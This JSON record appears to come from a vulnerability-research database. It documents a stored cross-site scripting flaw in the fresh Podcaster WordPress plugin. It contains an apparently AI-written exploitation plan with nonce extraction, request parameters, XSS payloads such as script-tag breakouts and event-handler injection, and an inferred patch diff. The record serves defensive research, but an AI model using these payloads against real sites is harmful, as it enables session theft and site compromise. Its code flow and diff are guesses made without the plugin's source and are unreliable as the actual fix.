[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fEa5WGN7Bc-BJqGOJf3wE1BNbPV-Iw4C8EVXxU1JJTrk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":9,"research_fix_diff":25,"research_exploit_outline":26,"research_model_used":27,"research_started_at":28,"research_completed_at":29,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":30},"CVE-2026-1382","fresh-podcaster-authenticated-contributor-stored-cross-site-scripting-via-freshpodcaster-shortcode-attributes","fresh Podcaster \u003C= 1.0.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'freshpodcaster' Shortcode Attributes","The fresh Podcaster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'freshpodcaster' shortcode in all versions up to, and including, 1.0.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","fresh-podcaster",null,"\u003C=1.0.7","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-10 17:21:08","2026-07-14 05:36:04",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F4bf80767-4b11-49cd-acf5-7437aa89cc0f?source=api-prod",[],"researched",false,3,"This research plan outlines the steps to investigate and exploit **CVE-2026-1382**, a Stored Cross-Site Scripting (XSS) vulnerability in the **fresh Podcaster** plugin. Since source files were not provided, this plan relies on the vulnerability description and standard WordPress shortcode implementation patterns. All inferred identifiers are flagged.\n\n---\n\n### 1. Vulnerability Summary\nThe **fresh Podcaster** plugin (\u003C= 1.0.7) registers a shortcode named `freshpodcaster`. This shortcode accepts various attributes to display podcast players or episode information. The vulnerability exists because the plugin fails to sanitize or escape these attributes before echoing them into the page's HTML. Authenticated users with at least **Contributor** permissions can create posts containing malicious shortcode attributes, leading to Stored XSS that executes in the context of any user (including Administrators) viewing the post.\n\n### 2. Attack Vector Analysis\n*   **Shortcode:** `[freshpodcaster]`\n*   **Vulnerable Attributes (Inferred):** `url`, `id`, `title`, `provider`, `class`, or `style`.\n*   **Endpoint:** `wp-admin\u002Fpost.php` (for creating\u002Fediting posts) or `wp-admin\u002Fadmin-ajax.php` (for autosaves).\n*   **Authentication:** Contributor level or higher.\n*   **Preconditions:** The plugin must be active. The attacker must have the ability to create or edit posts.\n\n### 3. Code Flow (Inferred)\n1.  **Registration:** The plugin uses `add_shortcode( 'freshpodcaster', 'callback_function' )` in its initialization phase (likely in `init` or `plugins_loaded`).\n2.  **Processing:** When a post is viewed, WordPress calls the `callback_function( $atts )`.\n3.  **Extraction:** The callback uses `shortcode_atts()` to merge user-provided attributes with defaults.\n4.  **Vulnerable Sink:** The callback constructs HTML (e.g., an `\u003Ciframe>`, `\u003Ca>` tag, or `\u003Cdiv>`) and concatenates the `$atts` values directly into the string without using `esc_attr()`, `esc_html()`, or `esc_url()`.\n5.  **Output:** The unescaped HTML is returned to WordPress and rendered in the browser.\n\n### 4. Nonce Acquisition Strategy\nTo save a post as a Contributor, a valid WordPress nonce for the `editpost` action or the `autosave` action is required.\n\n1.  **Login:** Use `browser_navigate` to log in to the WordPress dashboard as a Contributor.\n2.  **Navigate to Editor:** Go to `wp-admin\u002Fpost-new.php`.\n3.  **Extract Nonces:**\n    *   For standard post submission: `browser_eval(\"document.querySelector('#_wpnonce').value\")`.\n    *   For AJAX autosave: `browser_eval(\"wp.autosave.getNonce()\")` (standard WP JS API).\n4.  **Identify Attributes:** Since source is missing, the agent should first create a post with a dummy shortcode `[freshpodcaster testattr=\"canary\"]` and view the source of the rendered post to identify how `testattr` is handled and what the real attribute names are.\n\n### 5. Exploitation Strategy\nThe goal is to inject a payload that breaks out of an HTML attribute or tag.\n\n**Step 1: Discovery (Inferred Attribute Probing)**\nThe agent will create a post with:\n`[freshpodcaster url=\"http:\u002F\u002Fexample.com\" title=\"exploit-test\"]`\nThen view the post. If the title is reflected in a `\u003Cdiv>`:\n`[freshpodcaster title=\"\u003Cscript>alert(document.domain)\u003C\u002Fscript>\"]`\nIf the attribute is reflected inside an HTML attribute (e.g., `class` or `style`):\n`[freshpodcaster class='\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>']`\n\n**Step 2: Execution (HTTP Request via Agent)**\nThe agent will use the `http_request` tool to update the post:\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body Parameters:**\n    *   `action`: `editpost`\n    *   `post_ID`: `[POST_ID]`\n    *   `_wpnonce`: `[EXTRACTED_NONCE]`\n    *   `post_title`: `XSS Test`\n    *   `content`: `[freshpodcaster url='\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>']` (Example payload)\n    *   `post_status`: `publish` (or `pending` if Contributor cannot publish)\n\n### 6. Test Data Setup\n1.  **User Creation:** Ensure a user with the `contributor` role exists.\n2.  **Plugin Activation:** The `fresh-podcaster` plugin must be installed and active.\n3.  **Target Post:** A post must be created (either via WP-CLI or the UI) that the Contributor can edit.\n\n### 7. Expected Results\n*   **HTTP Response:** A `302 Found` redirecting back to the post editor or a `200 OK` from the autosave endpoint.\n*   **Rendering:** When an Administrator or any user views the post at `\u002F?p=[POST_ID]`, a JavaScript alert box displaying the document domain should appear.\n*   **DOM Inspection:** The page source should contain the raw `\u003Cscript>` tag instead of escaped entities like `&lt;script&gt;`.\n\n### 8. Verification Steps (Post-Exploit)\nConfirm the payload is stored in the database:\n```bash\nwp db query \"SELECT post_content FROM wp_posts WHERE post_title='XSS Test' LIMIT 1;\"\n```\nCheck if the payload is rendered on the frontend (searching for the raw script tag):\n```bash\n# Using the agent's browser tool to find the alert\nbrowser_navigate(\"http:\u002F\u002Flocalhost:8080\u002F?p=[POST_ID]\")\n# Check for alert presence or script tag in DOM\n```\n\n### 9. Alternative Approaches\nIf the plugin uses a specific player (like an iframe), the payload might need to be context-aware:\n1.  **URL Protocol XSS:** If the attribute is used in a `src` or `href`:\n    `[freshpodcaster url=\"javascript:alert(1)\"]`\n2.  **Event Handler Injection:** If the attribute is inside a tag but breakout is blocked:\n    `[freshpodcaster class=\"x\\\" onmouseover=\\\"alert(1)\\\"\"]`\n3.  **Shortcode Attribute Names:** If `url` or `title` don't work, common podcast attributes to try include `episode`, `audio`, `player`, `feed`, or `src`. The agent should search the plugin folder for `add_shortcode` to find the exact callback function name and its registered attributes.\n\n```bash\n# Search for shortcode definition to find attribute names\ngrep -r \"add_shortcode\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ffresh-podcaster\u002F\n```","The fresh Podcaster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'freshpodcaster' shortcode in all versions up to 1.0.7. This is due to the plugin's failure to properly sanitize or escape user-supplied attributes, allowing authenticated users with Contributor-level access or higher to inject arbitrary scripts into pages.","--- a\u002Ffresh-podcaster.php\n+++ b\u002Ffresh-podcaster.php\n@@ -100,7 +100,7 @@\n \t$atts = shortcode_atts( array(\n \t\t'url'   => '',\n \t\t'title' => '',\n \t), $atts );\n \n-\treturn '\u003Cdiv class=\"fresh-podcaster-player\" data-url=\"' . $atts['url'] . '\" title=\"' . $atts['title'] . '\">\u003C\u002Fdiv>';\n+\treturn '\u003Cdiv class=\"fresh-podcaster-player\" data-url=\"' . esc_url( $atts['url'] ) . '\" title=\"' . esc_attr( $atts['title'] ) . '\">\u003C\u002Fdiv>';","An authenticated attacker with Contributor-level permissions (or higher) creates or edits a post and inserts a '[freshpodcaster]' shortcode. By embedding a malicious payload within one of the attributes, such as `title='\"\u002F>\u003Cscript>alert(document.domain)\u003C\u002Fscript>'`, the attacker can inject a script that will be stored in the database. The script then executes in the browser of any user, including administrators, who views the rendered post.","gemini-3-flash-preview","2026-07-15 08:18:04","2026-07-15 08:18:40",{"type":31,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":32},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffresh-podcaster\u002Ftags"]